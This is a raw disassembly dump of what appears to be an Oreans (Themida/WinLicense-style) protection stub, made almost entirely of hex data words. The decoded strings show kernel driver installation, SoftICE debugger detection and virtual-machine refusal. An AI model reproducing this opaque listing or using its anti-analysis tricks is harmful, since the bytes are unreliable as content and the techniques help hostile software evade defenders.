		dd 0B84h, 0A19D8B00h, 8306A832h, 3895CC3h, 8960C3C3h, 0AA9CCF85h
		dd 0CB858D06h, 5006AA9Ch, 9C35858Dh, 685006AAh,	80000001h
		dd 9CDB95FFh, 46A06AAh,	9CCF858Dh, 6A5006AAh, 8D006A04h
		dd 0AA9CC685h, 0B5FF5006h, 6AA9CCBh, 1EC995FFh,	0BD8306A8h
		dd 6A81ED9h, 0C840F00h,	0FF000000h, 0AA9CCBB5h,	0D795FF06h
		dd 0FF06AA9Ch, 0AA9CCBB5h, 9195FF06h, 6106A807h, 858960C3h
		dd 6AA9CCFh, 9CCB858Dh,	8D5006AAh, 0AA9C3585h, 1685006h
		dd 0FF800000h, 0AA9CDB95h, 8D046A06h, 0AA9CCF85h, 46A5006h
		dd 858D006Ah, 6AA9CA8h,	0CBB5FF50h, 0FF06AA9Ch,	0A81EC995h
		dd 0D9BD8306h, 6A81Eh, 0C840Fh,	0B5FF0000h, 6AA9CCBh, 9CD795FFh
		dd 0B5FF06AAh, 6AA9CCBh, 79195FFh, 0C36106A8h, 0CF858960h
		dd 8D06AA9Ch, 0AA9CCB85h, 858D5006h, 6AA9C35h, 16850h
		dd 95FF8000h, 6AA9CDBh,	858D046Ah, 6AA9CCFh, 6A046A50h
		dd 0AF858D00h, 5006AA9Ch, 9CCBB5FFh, 95FF06AAh,	6A81EC9h
		dd 1ED9BD83h, 0F0006A8h, 0C84h,	0CBB5FF00h, 0FF06AA9Ch
		dd 0AA9CD795h, 0CBB5FF06h, 0FF06AA9Ch, 0A8079195h, 60C36106h
		dd 9CCF8589h, 858D06AAh, 6AA9CCBh, 35858D50h, 5006AA9Ch
		dd 168h, 0DB95FF80h, 6A06AA9Ch,	0CF858D04h, 5006AA9Ch
		dd 6A046Ah, 9CB7858Dh, 0FF5006AAh, 0AA9CCBB5h, 0C995FF06h
		dd 8306A81Eh, 0A81ED9BDh, 840F0006h, 0Ch, 9CCBB5FFh, 95FF06AAh
		dd 6AA9CD7h, 9CCBB5FFh,	95FF06AAh, 6A80791h, 8960C361h
		dd 0AA9CCF85h, 0CB858D06h, 5006AA9Ch, 9C35858Dh, 685006AAh
		dd 80000001h, 9CDB95FFh, 46A06AAh, 9CCF858Dh, 6A5006AAh
		dd 8D006A04h, 0AA9CBE85h, 0B5FF5006h, 6AA9CCBh,	1EC995FFh
		dd 0BD8306A8h, 6A81ED9h, 0C840F00h, 0FF000000h,	0AA9CCBB5h
		dd 0D795FF06h, 0FF06AA9Ch, 0AA9CCBB5h, 9195FF06h, 6106A807h
		dd 85C760C3h, 6AA9CCFh,	1, 9CCB858Dh, 8D5006AAh, 0AA9C3585h
		dd 2685006h, 0FF800000h, 0AA9CDB95h, 0FC00B06h,	0F84h
		dd 0CF85C700h, 6AA9Ch, 0E9000000h, 4Dh,	858D046Ah, 6AA9CCFh
		dd 6A046A50h, 49858D00h, 5006AA9Ch, 9CCBB5FFh, 95FF06AAh
		dd 6A81EC9h, 840FC00Bh,	0Fh, 9CCF85C7h,	6AAh, 0AE90000h
		dd 0C7000000h, 0AA9CCF85h, 106h, 0CBB5FF00h, 0FF06AA9Ch
		dd 0A8079195h, 858B6106h, 6AA9CCFh, 858960C3h, 6AA9CCFh
		dd 9CCB858Dh, 8D5006AAh, 0AA9C3585h, 1685006h, 0FF800000h
		dd 0AA9CDB95h, 8D046A06h, 0AA9CCF85h, 46A5006h,	858D006Ah
		dd 6AA9C49h, 0CBB5FF50h, 0FF06AA9Ch, 0A81EC995h, 0D9BD8306h
		dd 6A81Eh, 0C840Fh, 0B5FF0000h,	6AA9CCBh, 9CD795FFh, 0B5FF06AAh
		dd 6AA9CCBh, 79195FFh, 0C36106A8h, 0CF858960h, 8D06AA9Ch
		dd 0AA9CCB85h, 858D5006h, 6AA9C35h, 16850h, 95FF8000h
		dd 6AA9CDBh, 858D046Ah,	6AA9CCFh, 6A046A50h, 5B858D00h
		dd 5006AA9Ch, 9CCBB5FFh, 95FF06AAh, 6A81EC9h, 1ED9BD83h
		dd 0F0006A8h, 0C84h, 0CBB5FF00h, 0FF06AA9Ch, 0AA9CD795h
		dd 0CBB5FF06h, 0FF06AA9Ch, 0A8079195h, 0C6C36106h, 0A815D585h
		dd 7685206h, 0FFADE47Bh, 0A8069DB5h, 7D95FF06h,	8906A82Dh
		dd 0AA9CDB85h, 0D585C606h, 5206A815h, 2E00E568h, 9DB5FF90h
		dd 0FF06A806h, 0A82D7D95h, 0D7858906h, 0C606AA9Ch, 0A815D585h
		dd 35685206h, 0FFB9BF12h, 0A8069DB5h, 7D95FF06h, 8906A82Dh
		dd 0A81EC985h, 0D585C606h, 5206A815h, 78103468h, 9DB5FF98h
		dd 0FF06A806h, 0A82D7D95h, 91858906h, 0C606A807h, 0A815D585h
		dd 0D4685206h, 0FFC005DBh, 0A8069DB5h, 7D95FF06h, 8906A82Dh
		dd 0A80D1185h, 7E806h, 37130000h, 0DF7B52A8h, 0FE8E1h
		dd 7B420000h, 5CE3DA6Fh, 98814C78h, 0FC0B0EC6h,	959EBE86h
		dd 59583145h, 13E9h, 3E133B00h,	2742BE83h, 7302A3A7h, 656B5238h
		dd 9444F8F2h, 5C63C181h, 13E90000h, 56000000h, 3EE9A20Fh
		dd 8476F119h, 53D5691Dh, 0B18C8F49h, 68650Ah, 66000000h
		dd 47A1D081h, 0D68B665Bh, 56193C8Bh, 5EC18B56h,	3FC78158h
		dd 8172E841h, 0FC785EE6h, 0BEF8127h, 0B8296C9Dh, 6BE5C20Dh
		dd 453FEF81h, 81575E5Ch, 437E48F0h, 19048F08h, 60F3B70Fh
		dd 0EE8D78Bh, 11000000h, 18D2711Fh, 57F6B40Fh, 0E5A860A9h
		dd 81615882h, 0EA0574EBh, 0B1EC803Bh, 570C381h,	80603BEAh
		dd 8C0F27CCh, 4, 0F435B866h, 0B8FB8161h, 0FFFFFA4h, 2885h
		dd 0CE900h, 0AA8F0000h,	7D1E96B6h, 41F6C650h, 2EE98879h
		dd 7B000000h, 0BE845930h, 0C5EFD5DDh, 6620D8A3h, 8AEB73A3h
		dd 0C68B66B6h, 0FFFF5BE9h, 0BA6FDBFFh, 1B2D585Fh, 4A787A6Fh
		dd 7A2FAA6Eh, 47BCF338h, 5C1EEB05h, 535C2E5Ch, 454349h
		dd 5C2E5C5Ch, 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h
		dd 8BC08B00h, 0D9BD83D3h, 6A81Eh, 0BD830975h, 6A82DE9h
		dd 50197400h, 0B8C08B53h, 40Fh,	7B58589h, 9D8D06A8h, 6AAA1ACh
		dd 585BD3FFh, 2DE9BD83h, 740006A8h, 0B8535017h,	40Fh, 7B58589h
		dd 9D8D06A8h, 6AA9E9Bh,	585BD3FFh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 0F6C35040h,	0D18B0AC1h, 38A0Fh
		dd 0B70F0000h, 998509FFh, 8B06A832h, 0C6F08BC0h
		dd 0A815D585h, 0BF0F4306h, 925968C9h, 19B29C84h, 0A3240481h
		dd 802009DCh, 0B5FFCFD2h, 6A831F9h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0F1C35747h,	0EB9A6C27h, 0BE535A33h
		dd 667E855Ah, 4D8D0B5Fh, 8D06A82Ah, 0A83AC385h,	0C9958906h
		dd 0FF06A81Bh, 57006AD0h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 208E0F95h, 0E8000000h
		dd 14h,	0EB614CD8h, 0D357D0h, 7A594E5Fh, 0D3C22402h, 2A0018DDh
		dd 2115B58Bh, 0E95906A8h, 13h, 6240C8F9h, 3C33753Ch, 41D34654h
		dd 0B8E717ACh, 90016F08h, 0C4EDAEB9h, 810F5010h, 0Ch, 6890Fh
		dd 880F0000h, 0
aRJ		db '²Ìj',0
aJ_1		db 'j',0
		db 57h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 475AC8A3h, 2026003h,	7E8A95Ch, 33000000h, 77318233h
		dd 950997EFh, 6A831D9h,	4E859h,	800000h, 71BF0000h, 5077977Fh
		dd 0A04A7EBFh, 24448B34h, 0BE804h, 70F90000h, 72C18E5Eh
		dd 8D7D7D2Dh, 5E953h, 25040000h, 59A17BACh, 8B66008Bh
		dd 244489D6h, 44C2BF04h, 0F8580EC0h, 6A036Ah, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0A7C35343h, 66622C37h
		dd 36AD78Bh, 50F28166h,	4E8BAh,	0
		dd 0D8BAC000h, 501B6740h, 3840F60h, 66000000h, 0BA66CB8Bh
		dd 8B61094Fh, 60042444h, 66F98B66h, 61BB29BBh, 0F88B008Bh
		dd 4244489h, 58D68B66h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 7FC35242h, 0B2252A85h, 9A837A10h, 958D8B50h
		dd 5E06A802h, 0A4369D8Dh, 6A06AAh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0DBA241C3h, 34B88320h
		dd 37D280AEh, 0EA9B950h, 1C890B28h, 0B70F5024h,	0F605AD7h
		dd 68Ah, 11B52900h, 306A82Eh, 0A80D91B5h, 0D0FF6106h, 0CE9h
		dd 0D8D23100h, 6322CED9h, 0B8924E36h, 850F400Dh, 309h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 64C35141h
		dd 0E98D8B83h, 5806A832h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0B4C35747h, 7C8A89EDh, 10819424h, 90D68B66h
		dd 6870F60h, 50000000h,	5A310F52h, 61CE8A58h, 0CE950h
		dd 35580000h, 7E3B7BFEh, 5D2C2853h, 6A903DFAh, 11E900h
		dd 41040000h, 0FF09CA7Fh, 381AF093h, 2E225B93h,	68A2E0FAh
		dd 5480EA32h, 5E9h, 74445800h, 348170FDh, 80EAB224h, 0E99D8954h
		dd 6A06A821h, 56006A03h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 0A80D5319h, 5890F68h, 0B9000000h
		dd 708F19CEh, 8D8B006Ah, 6A806E5h, 6A036Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 5FEB06C3h
		dd 618D8B03h, 6806A827h, 59590317h, 0CE780EBAh,	2404812Fh
		dd 66A6FCE9h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 16h,	12C35040h, 8589FD17h, 6A81A8Dh,	0A43F9D8Dh, 0BA6006AAh
		dd 7CC83985h, 118B0Fh, 0BE80000h, 2C000000h, 72555913h
		dd 5F605659h, 6159656Eh, 50EC8A93h, 0D98B6660h,	2830Fh
		dd 61600000h, 0CE99361h, 6A000000h, 9691946h, 0C9D288DCh
		dd 0FFD69A19h, 15810FD0h, 0E8000000h, 0Ch, 9945070Bh, 0E24EC6D8h
		dd 1E0A90D9h, 5EF9B70Fh, 6A850F40h, 6A000001h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 66B8C355h, 58D9E0BEh, 0CE816660h, 1FB531ACh,	0B7605061h
		dd 4896121h, 0D5B58924h, 6A06A806h, 0ADB58900h,	0B606A80Eh
		dd 2CA268B8h, 0DE8E781h, 0E0000000h, 66A36B90h,	3F8653FCh
		dd 0EE9E0B00h, 7E952h, 6B560000h, 1F769AB9h, 815A5A4Ch
		dd 0D3DE2404h, 0B531187Eh, 6A80525h, 0F28B036Ah, 20B58589h
		dd 6A06A8h, 6A95DE80h, 0EE903h,	66EC0000h, 999A8A77h, 1AAF7307h
		dd 8A19D9DDh, 4E8h, 0
		dd 525050C0h, 310FCF8Bh, 0D41CBA66h, 448B585Ah,	8B660424h
		dd 0E9008BFEh, 0Eh, 71207969h, 96E8136Dh, 81FDF7C8h, 448997DFh
		dd 8B660424h, 8D2958CBh, 6A82761h, 0A44A9D8Dh, 820F06AAh
		dd 8, 19BD8956h, 5F06A82Ah, 0F659589h, 669306A8h, 8B50FA8Bh
		dd 8D8993D7h, 6A8219Dh,	68C0Fh,	0BD290000h, 6A832C1h, 0F40D0FFh
		dd 5485h, 0E9853100h, 5806A81Bh, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 90C35545h, 0BFCC8477h, 0CFD53D44h
		dd 118E9h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0A78F6AD6h, 50D1B7DBh, 66D88B6Ah
		dd 0B726E981h, 0F8BF664Bh, 0EB8A58F6h, 15D585C6h, 6A4306A8h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 8FEDC356h, 0E6816660h, 0B468F11Ch, 8BF9B84Fh
		dd 243481D6h, 39CE0513h, 0C1958B57h, 5E06A80Ah,	31F9B5FFh
		dd 6A06A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0F1EC42C3h, 874D173h, 85BD298Bh, 0F06A82Fh
		dd 86h,	0B1BD8900h, 8D06A829h, 0A83AC385h, 5D8D8906h, 0FF06A80Bh
		dd 0F18D09D0h, 5006A81Bh, 0AC8734B9h, 241C8901h, 28F0Fh
		dd 0CF8B0000h, 9E8h, 2CDE4000h,	9586993Bh, 0BE96031h, 0E1000000h
		dd 107870Fh, 3299BF77h,	0FF5ED64Eh, 209D8DD0h, 8B06A871h
		dd 0A82F4195h, 0C9816606h, 1B86E01h, 23000000h,	0A820018Dh
		dd 89E3FF06h, 0A825ADBDh, 6AC18B06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 3EDFC351h
		dd 8B7AED37h, 0A821098Dh, 8BC08B06h, 0A80F0595h, 0D9BD8306h
		dd 6A81Eh, 0BD830975h, 6A82DE9h, 50197400h, 0B8C08B53h
		dd 40Fh, 0FD58589h, 9D8D06A8h, 6AAA213h, 585BD3FFh, 2DE9BD83h
		dd 740006A8h, 0B8535017h, 40Fh,	0FD58589h, 9D8D06A8h, 6AA9EB4h
		dd 585BD3FFh, 1E398589h, 8A0F06A8h, 4, 21DDBA66h, 12E8h
		dd 0F6DDF900h, 0BB7801CEh, 891BD70Ah, 38BA3E98h, 8B30C7B3h
		dd 0A80BFD8Dh, 0C08B5E06h, 11E8h, 76AB4600h, 4DD9A98Eh
		dd 0A5A5F55Fh, 2A595E95h, 0C4BFCE81h, 5952F8A6h, 18870Fh
		dd 13E90000h, 31000000h, 39639BABh, 3DF8DB1h, 381FC238h
		dd 0EEB5465Eh, 0C1818091h, 6C8Bh, 68C0Fh, 0BD010000h, 6A81D49h
		dd 68h,	8EC38100h, 5A1102A9h, 0E85BD8Bh, 48B06A8h, 498D8911h
		dd 8106A815h, 1CB3ADE8h, 0B9B52918h, 8106A819h,	0A66242E8h
		dd 899D2976h, 8106A815h, 544BF4C0h, 11048955h, 2B219D8Bh
		dd 0EA8306A8h, 1CFA8104h, 0FFFFF94h, 0FFFFC185h, 8B6660FFh
		dd 9D8960F2h, 6A80525h,	303DB589h, 616106A8h, 99E9h, 75622F00h
		dd 65686367h, 326B63h, 6775622Fh, 63656863h, 662F006Bh
		dd 6563726Fh, 6E7572h, 6775622Fh, 63656863h, 6C75666Bh
		dd 732F006Ch, 63776F68h, 65646Fh, 6F68732Fh, 646F6377h
		dd 2F003265h, 74726C63h, 69642F00h, 2F003173h, 776F6873h
		dd 74736E69h, 65636E61h, 65672F00h, 736C7774h, 75746174h
		dd 6C2F0073h, 7473676Fh, 73757461h, 75642F00h, 7473706Dh
		dd 73757461h, 0
		dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh, 0BD830000h
		dd 6AAACFCh, 0A840F00h,	0C7000000h, 0A82DE985h,	106h, 0D585C600h
		dd 4706A815h, 0B050B568h, 24348189h, 19DD3C38h,	31F9B5FFh
		dd 858D06A8h, 6A83AC3h,	0D0FFD0FFh, 3F80F88Bh, 22850F22h
		dd 47000000h, 0FAE22B0h, 0FFFFF985h, 3F80FFh, 31B840Fh
		dd 80470000h, 840F003Fh, 311h, 1EE9h, 3F8000h, 303840Fh
		dd 3F800000h, 6850F20h,	47000000h, 6E9h, 0E2E94700h, 80FFFFFFh
		dd 850F003Fh, 5, 2E0E9h, 1E900h, 80470000h, 840F203Fh
		dd 0FFFFFFF6h, 0F003F80h, 585h,	2C3E900h, 0AE80000h, 0E9000000h
		dd 0FFFFFFCBh, 2B4E9h, 7CB58D00h, 0E806AAACh, 225h, 0AD11BD03h
		dd 0BD8306AAh, 6AAAD11h, 0B840F00h, 0C7000000h,	0A81ED985h
		dd 106h, 0B58DC300h, 6AAAC87h, 1FCE8h, 11BD0300h, 8306AAADh
		dd 0AAAD11BDh, 840F0006h, 0Bh, 2DE985C7h, 106A8h, 8DC30000h
		dd 0AAAD00B5h, 1D3E806h, 0BD030000h, 6AAAD11h, 0AD11BD83h
		dd 0F0006AAh, 0B84h, 2185C700h,	106A815h, 0C3000000h, 0AC91B58Dh
		dd 0AAE806AAh, 3000001h, 0AAAD11BDh, 11BD8306h,	6AAADh
		dd 0B840Fh, 85C70000h, 6A82DE9h, 1, 9BB58DC3h, 0E806AAACh
		dd 181h, 0AD11BD03h, 0BD8306AAh, 6AAAD11h, 15840F00h, 0C7000000h
		dd 0A82DE985h, 106h, 0D985C700h, 106A81Eh, 0C3000000h
		dd 0ACA9B58Dh, 4EE806AAh, 3000001h, 0AAAD11BDh,	11BD8306h
		dd 6AAADh, 0A840Fh, 85C70000h, 6A81F91h, 1, 0ACB3B58Dh
		dd 26E806AAh, 3000001h,	0AAAD11BDh, 11BD8306h, 6AAADh
		dd 0A840Fh, 85C70000h, 6A81F91h, 1, 0ACBEB58Dh,	0FEE806AAh
		dd 3000000h, 0AAAD11BDh, 11BD8306h, 6AAADh, 0A840Fh, 85C70000h
		dd 6A807C5h, 1,	0ACC4B58Dh, 0D6E806AAh,	3000000h, 0AAAD11BDh
		dd 11BD8306h, 6AAADh, 0A840Fh, 85C70000h, 6A83105h, 1
		dd 0ACCAB58Dh, 0AEE806AAh, 3000000h, 0AAAD11BDh, 11BD8306h
		dd 6AAADh, 0A840Fh, 85C70000h, 6A829DDh, 1, 0ACD8B58Dh
		dd 86E806AAh, 3000000h,	0AAAD11BDh, 11BD8306h, 6AAADh
		dd 0A840Fh, 85C70000h, 6A8170Dh, 1, 0ACE5B58Dh,	5EE806AAh
		dd 3000000h, 0AAAD11BDh, 11BD8306h, 6AAADh, 0A840Fh, 85C70000h
		dd 6A82C85h, 1,	0ACF0B58Dh, 36E806AAh, 3000000h, 0AAAD11BDh
		dd 11BD8306h, 6AAADh, 0A840Fh, 85C70000h, 6A808F9h, 1
		dd 1E9h, 3F804700h, 9840F20h, 80000000h, 850F003Fh, 0FFFFFFEDh
		dd 1B960C3h, 8B000000h,	1CE9DEh, 3F800000h, 2850F00h, 2B000000h
		dd 38178AC9h, 5840F16h,	0B9000000h, 0
aFga		db 'FG€>',0
		db 0Fh,	84h, 8
		dd 0B000000h, 0D3850FC9h, 0BFFFFFFh, 21840FC9h,	80000000h
		dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h
		dd 0
		dd 840FC90Bh, 0Dh, 0B589F32Bh, 6AAAD11h, 0AE9h,	1185C700h
		dd 6AAADh, 61000000h, 0B8C3h, 0C00B0000h, 0A840Fh, 85C70000h
		dd 6A81F91h, 0
		dd 0EE9C88Bh, 33000002h, 6E6E6143h, 7720746Fh, 65746972h
		dd 65726F20h, 2E736E61h, 0A647876h, 6B614D0Dh, 75732065h
		dd 74206572h, 20746168h, 73696874h, 6C696620h, 73692065h
		dd 746F6E20h, 69656220h, 7520676Eh, 20646573h, 61207962h
		dd 68746F6Eh, 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 0EFE900h, 85C60000h,	6A815D5h, 5B866847h, 0B5FFE3E4h
		dd 6A831F9h, 3AC3858Dh,	0D0FF06A8h, 10468h, 359D8D00h
		dd 5306A81Ch, 8D50D0FFh, 0AAB29EB5h, 32FE8B06h,	850FAEC0h
		dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 0A815D585h
		dd 0FC684306h, 0FFBC8E6Eh, 0A831F9B5h, 0C3858D06h, 0FF06A83Ah
		dd 35B58DD0h, 6A06A81Ch, 806800h, 26A0000h, 6A006Ah, 68h
		dd 0D0FF56C0h, 85C6D88Bh, 6A815D5h, 0EE566857h,	0B5FFA69Bh
		dd 6A831F9h, 3AC3858Dh,	0D0FF06A8h, 99DBD8Dh, 8D8D06A8h
		dd 6AAB3C4h, 6857006Ah,	37D0h, 0D0FF5351h, 850FC085h, 1Bh
		dd 0B0A6B58Dh, 858D06AAh, 6AA9B7Ch, 8D8DD0FFh, 6A87120h
		dd 0B8h, 0C6E1FF00h, 0A815D585h, 0A7684306h, 0FFC0764Ah
		dd 0A831F9B5h, 0C3858D06h, 0FF06A83Ah, 0D0FF53D0h, 37D0B9C3h
		dd 0E80000h, 58000000h,	890EC083h, 2E908h, 0C38B0000h
		dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h
		dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0
		dd offset dword_450050+4BB0h
		dd 0
		dd 4000200h, 0
		dd 3800000h, 1400h, 4 dup(0)
		dd 20000h, 1C000h, 9000h, 0
		dd 7E00h, 0
		dd 0C400h, 100h, 0DC00h, 3 dup(0)
		dd 12C00h, 13800h, 2 dup(0)
		dd 14200h, 19600h, 1D200h, 0
		dd 1D200h, 0
		dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0)
		dd 27C004h, 0
		dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h
		dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h
		dd 9000000h, 0A000000h,	0B000000h, 0C000000h, 0D000000h
		dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h
		dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h
		dd 300h, 0
		dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h
		dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh
		dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h
		dd 16B0007h, 277101h, 360h dup(0)
		dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0)
		dd 72657600h, 5050h, 73763100h,	73763252h, 73763352h, 52h
		dd 9C3h	dup(0)
		dd 1BE88300h, 7309F883h, 8524FF07h, 0
		dd 0C3F8h, 8 dup(0)
		dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h,	7E831AEBh
		dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h
		dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 10B7E900h, 44410000h
		dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h
		dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h
		dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h
		dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h
		dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h
		dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh
		dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0)
aOreans32_sys	db 'oreans32.sys',0
		align 10h
		dd 0
		dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0
		dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh
		dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh
		dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch
		dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0)
aSystemroot	db 'SYSTEMROOT',0
aSSystem32Drive	db '%s\system32\drivers\%s',0
aSSyswow64Drive	db '%s\syswow64\drivers\%s',0
aSSystem32Dri_0	db '%s\system32\drivers\oreans32.sys',0
		align 4
		dd 48h dup(0)
		dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h
		dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h
		dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h
		dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h
		dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h
		dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h
		dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h
		dd 72676F72h, 2E6D61h, 59h dup(0)
		dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h
		dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh
		dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h
		dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h
		dd 20726568h, 676F7270h, 2E6D6172h, 67h	dup(0)
		dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h
		dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h
		dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h
		dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh
		dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h
		dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h
		dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h
		dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0)
		dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0)
		dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0)
		dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h
		dd 65h,	72430000h, 65746165h, 6E657645h, 50412074h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh
		dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh
		dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h
		dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h
		dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h
		dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h
		dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h
		dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh
		dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch
		dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh
		dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh
		dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h
		dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h
		dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h
		dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh	dup(0)
		dd 10000000h, 0
		dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0
		dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah
		dd 21h dup(0)
		dd 53000000h, 7774666Fh, 5C657261h, 656E6957h, 0F5C48B00h
		dd 25898589h, 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0E7344FC3h, 8A0FC54Fh, 6, 1741B589h
		dd 0C08B06A8h, 0BD896060h, 6A8066Dh, 0D3D9589h,	606106A8h
		dd 1C098D89h, 8B6606A8h, 666161D1h, 0BD83CB8Bh,	6A81ED9h
		dd 83097500h, 0A82DE9BDh, 19740006h, 0C08B5350h, 43DB8h
		dd 0B5858900h, 8D06A807h, 0AAA1AC9Dh, 5BD3FF06h, 0E9BD8358h
		dd 6A82Dh, 53501774h, 43DB8h, 0B5858900h, 8D06A807h, 0AA9E9B9Dh
